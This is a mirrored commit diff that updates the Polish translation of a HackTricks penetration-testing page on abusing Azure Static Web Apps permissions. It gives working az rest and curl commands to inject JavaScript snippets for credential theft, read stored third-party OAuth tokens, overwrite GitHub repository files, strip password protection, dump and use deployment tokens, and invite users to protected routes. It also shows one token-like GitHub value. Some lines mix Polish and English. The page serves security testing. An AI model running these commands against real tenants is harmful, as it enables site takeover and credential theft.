mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-29 07:00:29 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
+26
-26
@@ -4,7 +4,7 @@
|
||||
|
||||
## Azure Static Web Apps
|
||||
|
||||
Aby uzyskać więcej informacji o tej usłudze, zobacz:
|
||||
Więcej informacji o tej usłudze znajdziesz w:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-static-web-apps.md
|
||||
@@ -12,9 +12,9 @@ Aby uzyskać więcej informacji o tej usłudze, zobacz:
|
||||
|
||||
### Microsoft.Web/staticSites/snippets/write
|
||||
|
||||
Możliwe jest sprawienie, że statyczna strona załaduje dowolny kod HTML poprzez utworzenie snippet. To może pozwolić atakującemu na wstrzyknięcie kodu JS do web app i kradzież wrażliwych informacji, takich jak poświadczenia czy mnemonic keys (w web3 wallets).
|
||||
Możliwe jest sprawienie, że statyczna strona załaduje dowolny kod HTML przez utworzenie snippet. Może to pozwolić atakującemu na wstrzyknięcie kodu JS do aplikacji webowej i wykradzenie poufnych informacji, takich jak poświadczenia czy klucze mnemoniczne (w web3 wallets).
|
||||
|
||||
Poniższe polecenie tworzy snippet, który będzie zawsze ładowany przez web app::
|
||||
Poniższe polecenie tworzy snippet, który będzie zawsze ładowany przez aplikację webową::
|
||||
```bash
|
||||
az rest \
|
||||
--method PUT \
|
||||
@@ -33,20 +33,20 @@ az rest \
|
||||
```
|
||||
### Odczyt skonfigurowanych poświadczeń stron trzecich
|
||||
|
||||
As explained in the App Service section:
|
||||
Jak wyjaśniono w sekcji App Service:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Uruchamiając poniższe polecenie, można **odczytać poświadczenia stron trzecich** skonfigurowane na bieżącym koncie. Zauważ, że jeśli na przykład niektóre poświadczenia Github są skonfigurowane dla innego użytkownika, nie będziesz w stanie uzyskać dostępu do tokena z innego konta.
|
||||
Uruchamiając poniższe polecenie można **odczytać skonfigurowane poświadczenia stron trzecich** w bieżącym koncie. Zwróć uwagę, że jeśli na przykład niektóre poświadczenia Github są skonfigurowane dla innego użytkownika, nie będziesz w stanie uzyskać dostępu do tokena z innego konta.
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
```
|
||||
Ta komenda zwraca tokeny dla Github, Bitbucket, Dropbox i OneDrive.
|
||||
|
||||
Poniżej znajdują się przykłady poleceń do sprawdzenia tokenów:
|
||||
Oto kilka przykładów komend do sprawdzenia tokenów:
|
||||
```bash
|
||||
# GitHub – List Repositories
|
||||
curl -H "Authorization: token <token>" \
|
||||
@@ -69,14 +69,14 @@ curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children
|
||||
```
|
||||
### Nadpisanie pliku - Nadpisanie tras, HTML, JS...
|
||||
### Overwrite file - Overwrite routes, HTML, JS...
|
||||
|
||||
Jest możliwe **nadpisanie pliku w repozytorium Github** zawierającego aplikację poprzez Azure posiadający **Github token**, wysyłając żądanie takie jak poniższe, które określi ścieżkę pliku do nadpisania, zawartość pliku oraz wiadomość commita.
|
||||
Możliwe jest **nadpisanie pliku w Github repo** zawierającego aplikację przez Azure posiadający **Github token**, wysyłając żądanie takie jak poniższe, które określi ścieżkę pliku do nadpisania, zawartość pliku oraz wiadomość commita.
|
||||
|
||||
To może być wykorzystane przez atakujących, aby de facto **zmienić zawartość aplikacji webowej** w celu serwowania złośliwych treści (kradzież poświadczeń, słów mnemonicznych...) lub po prostu **przekierować określone ścieżki** na ich własne serwery poprzez nadpisanie pliku `staticwebapp.config.json`.
|
||||
Może to zostać wykorzystane przez atakujących do zasadniczo **zmiany zawartości aplikacji webowej** w celu serwowania złośliwych treści (kradzież poświadczeń, kluczy mnemonicznych...) lub po prostu do **przekierowania niektórych ścieżek** na własne serwery poprzez nadpisanie pliku `staticwebapp.config.json`.
|
||||
|
||||
> [!WARNING]
|
||||
> Zauważ, że jeśli atakujący zdoła w jakikolwiek sposób przejąć repozytorium Github, mogą oni także nadpisać plik bezpośrednio z Github.
|
||||
> Należy pamiętać, że jeśli atakującemu uda się w jakikolwiek sposób przejąć Github repo, może on również nadpisać plik bezpośrednio z Github.
|
||||
```bash
|
||||
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
|
||||
-H "Content-Type: application/json" \
|
||||
@@ -97,9 +97,9 @@ curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
|
||||
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
|
||||
}'
|
||||
```
|
||||
### Microsoft.Web/staticSites/config/write
|
||||
### Microsoft.Web/staticSites/config/write
|
||||
|
||||
Dzięki temu uprawnieniu można **zmienić hasło** chroniące static web app lub nawet usunąć ochronę ze wszystkich środowisk, wysyłając żądanie takie jak poniższe:
|
||||
Dzięki temu uprawnieniu można **zmienić hasło** chroniące static web app lub nawet usunąć ochronę ze wszystkich środowisk, wysyłając żądanie takiego jak poniżej:
|
||||
```bash
|
||||
# Change password
|
||||
az rest --method put \
|
||||
@@ -133,38 +133,38 @@ az rest --method put \
|
||||
```
|
||||
### Microsoft.Web/staticSites/listSecrets/action
|
||||
|
||||
To uprawnienie pozwala pobrać **API key deployment token** dla aplikacji statycznej.
|
||||
To uprawnienie pozwala pobrać **API key deployment token** dla static app.
|
||||
|
||||
Używając az rest:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
|
||||
```
|
||||
Korzystanie z AzCLI:
|
||||
Za pomocą AzCLI:
|
||||
```bash
|
||||
az staticwebapp secrets list --name <appname> --resource-group <RG>
|
||||
```
|
||||
Następnie, aby **zaktualizować aplikację używając tokena** możesz uruchomić następujące polecenie. Zwróć uwagę, że to polecenie zostało wyciągnięte poprzez sprawdzenie, jak działa Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy), ponieważ to właśnie ten, który Azure ustawił domyślnie do użycia. Zatem obraz i parametry mogą zmienić się w przyszłości.
|
||||
Then, in order to **zaktualizować aplikację przy użyciu tokena** you could run the following command. Note that this command was extracted checking **how to Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) works**, as it's the one Azure set by default ot use. So the image and parametry could change in the future.
|
||||
|
||||
> [!TIP]
|
||||
> Aby wdrożyć aplikację możesz użyć narzędzia **`swa`** z [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) lub wykonać następujące kroki:
|
||||
> Aby wdrożyć aplikację możesz użyć narzędzia **`swa`** z [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) lub wykonać poniższe kroki:
|
||||
|
||||
1. Pobierz repozytorium [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (lub dowolne inne repo, które chcesz wdrożyć) i uruchom `cd react-basic`.
|
||||
1. Pobierz repozytorium [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (lub dowolne inne repo, które chcesz wdrożyć) i wykonaj `cd react-basic`.
|
||||
2. Zmień kod, który chcesz wdrożyć
|
||||
3. Wdróż je uruchamiając (pamiętaj, aby zmienić `<api-token>`):
|
||||
```bash
|
||||
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
|
||||
```
|
||||
> [!WARNING]
|
||||
> Nawet jeśli posiadasz token, nie będziesz w stanie wdrożyć aplikacji, jeśli **Deployment Authorization Policy** jest ustawiona na **Github**. Aby użyć tokenu, będziesz potrzebować uprawnienia `Microsoft.Web/staticSites/write`, aby zmienić metodę wdrożenia i użyć tokenu API.
|
||||
> Nawet jeśli posiadasz token, nie będziesz w stanie wdrożyć aplikacji, jeśli **Zasada autoryzacji wdrożeń (Deployment Authorization Policy)** jest ustawiona na **Github**. Aby użyć tokena, potrzebujesz uprawnienia `Microsoft.Web/staticSites/write`, aby zmienić metodę wdrożenia na użycie tokena API.
|
||||
|
||||
### Microsoft.Web/staticSites/write
|
||||
|
||||
Z tym uprawnieniem możliwe jest **zmienienie źródła static web app na inne repozytorium Github**, jednak nie zostanie ono automatycznie sprovisionowane, ponieważ musi to zostać wykonane z poziomu Github Action.
|
||||
Posiadając to uprawnienie można **zmienić źródło static web app na inne repozytorium Github**, jednak nie zostanie ono automatycznie przygotowane, ponieważ musi to zostać wykonane z poziomu Github Action.
|
||||
|
||||
Jednak jeśli **Deployment Authorization Policy** jest ustawiona na **Github**, możliwe jest **zaktualizowanie aplikacji z nowego repozytorium źródłowego!**.
|
||||
Jednak jeśli **Zasada autoryzacji wdrożeń (Deployment Authorization Policy)** jest ustawiona na **Github**, możliwe jest **zaktualizowanie aplikacji z nowego repozytorium źródłowego!**.
|
||||
|
||||
W przypadku gdy **Deployment Authorization Policy** nie jest ustawiona na Github, możesz ją zmienić przy użyciu tego samego uprawnienia `Microsoft.Web/staticSites/write`.
|
||||
W przypadku gdy **Zasada autoryzacji wdrożeń** nie jest ustawiona na **Github**, możesz ją zmienić używając tego samego uprawnienia `Microsoft.Web/staticSites/write`.
|
||||
```bash
|
||||
# Change the source to a different Github repository
|
||||
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
|
||||
@@ -250,16 +250,16 @@ action: "close"
|
||||
```
|
||||
### Microsoft.Web/staticSites/resetapikey/action
|
||||
|
||||
Dzięki temu uprawnieniu możliwe jest **zresetować API key dla static web app**, co może potencjalnie DoSing workflows, które automatycznie deployują aplikację.
|
||||
Dzięki temu uprawnieniu można **zresetować API key of the static web app**, potencjalnie powodując DoSing workflowów, które automatycznie wdrażają aplikację.
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
|
||||
```
|
||||
### Microsoft.Web/staticSites/createUserInvitation/action
|
||||
|
||||
To uprawnienie pozwala **utworzyć zaproszenie dla użytkownika**, aby uzyskał on dostęp do chronionych ścieżek wewnątrz static web app z określoną rolą.
|
||||
To uprawnienie pozwala **utworzyć zaproszenie dla użytkownika** w celu uzyskania dostępu do chronionych ścieżek wewnątrz static web app z określoną rolą.
|
||||
|
||||
Logowanie znajduje się pod ścieżką taką jak `/.auth/login/github` dla github lub `/.auth/login/aad` dla Entra ID, a użytkownika można zaprosić za pomocą następującego polecenia:
|
||||
Logowanie znajduje się pod ścieżką taką jak `/.auth/login/github` dla github lub `/.auth/login/aad` dla Entra ID, a użytkownika można zaprosić następującym poleceniem:
|
||||
```bash
|
||||
az staticwebapp users invite \
|
||||
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
|
||||
@@ -272,12 +272,12 @@ az staticwebapp users invite \
|
||||
```
|
||||
### Pull Requests
|
||||
|
||||
Domyślnie Pull Requests z gałęzi w tym samym repo zostaną automatycznie skompilowane i zbudowane w środowisku staging. To może być wykorzystane przez atakującego mającego uprawnienia do zapisu w repo, ale niezdolnego do obejścia ochrony gałęzi produkcyjnej (zwykle `main`), aby **wdrożyć złośliwą wersję aplikacji** pod adresem URL środowiska staging.
|
||||
Domyślnie Pull Requests z gałęzi w tym samym repozytorium są automatycznie kompilowane i budowane w środowisku staging. Może to zostać wykorzystane przez atakującego, który ma uprawnienia zapisu do repo, ale nie potrafi obejść zabezpieczeń gałęzi produkcyjnej (zazwyczaj `main`), aby **wdrożyć złośliwą wersję aplikacji** pod URL środowiska staging.
|
||||
|
||||
The staging URL has this format: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` like: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
|
||||
|
||||
> [!TIP]
|
||||
> Zauważ, że domyślnie external PRs nie uruchamiają workflows, chyba że wcześniej scalono przynajmniej 1 PR w repozytorium. Atakujący mógłby wysłać prawidłowy PR do repo, a następnie **wysłać złośliwy PR**, aby wdrożyć złośliwą aplikację w środowisku staging. JEDNAK istnieje nieoczekiwana ochrona: domyślny Github Action do deployowania do static web app wymaga dostępu do secret zawierającego token deploy (np. `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) nawet jeśli deploy jest wykonywany przy użyciu IDToken. Oznacza to, że ponieważ external PR nie będzie miał dostępu do tego secret i external PR nie może zmienić Workflow, aby umieścić tam dowolny token bez zaakceptowania PR, **ten atak w praktyce nie zadziała**.
|
||||
> Zauważ, że domyślnie zewnętrzne PR-y nie uruchamiają workflows, chyba że wcześniej scalono przynajmniej 1 PR do repozytorium. Atakujący mógłby wysłać poprawny PR do repo i **następnie wysłać złośliwy PR**, aby wdrożyć złośliwą aplikację w środowisku staging. JEDNAK istnieje niespodziewana ochrona: domyślna Github Action do wdrożenia w static web app wymaga dostępu do secretu zawierającego token wdrożeniowy (np. `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) nawet jeśli wdrożenie jest wykonywane przy użyciu IDToken. Oznacza to, że ponieważ zewnętrzny PR nie będzie miał dostępu do tego secretu i nie może zmienić Workflow, aby umieścić tam dowolny token bez zaakceptowania PR, **ten atak w praktyce nie zadziała**.
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user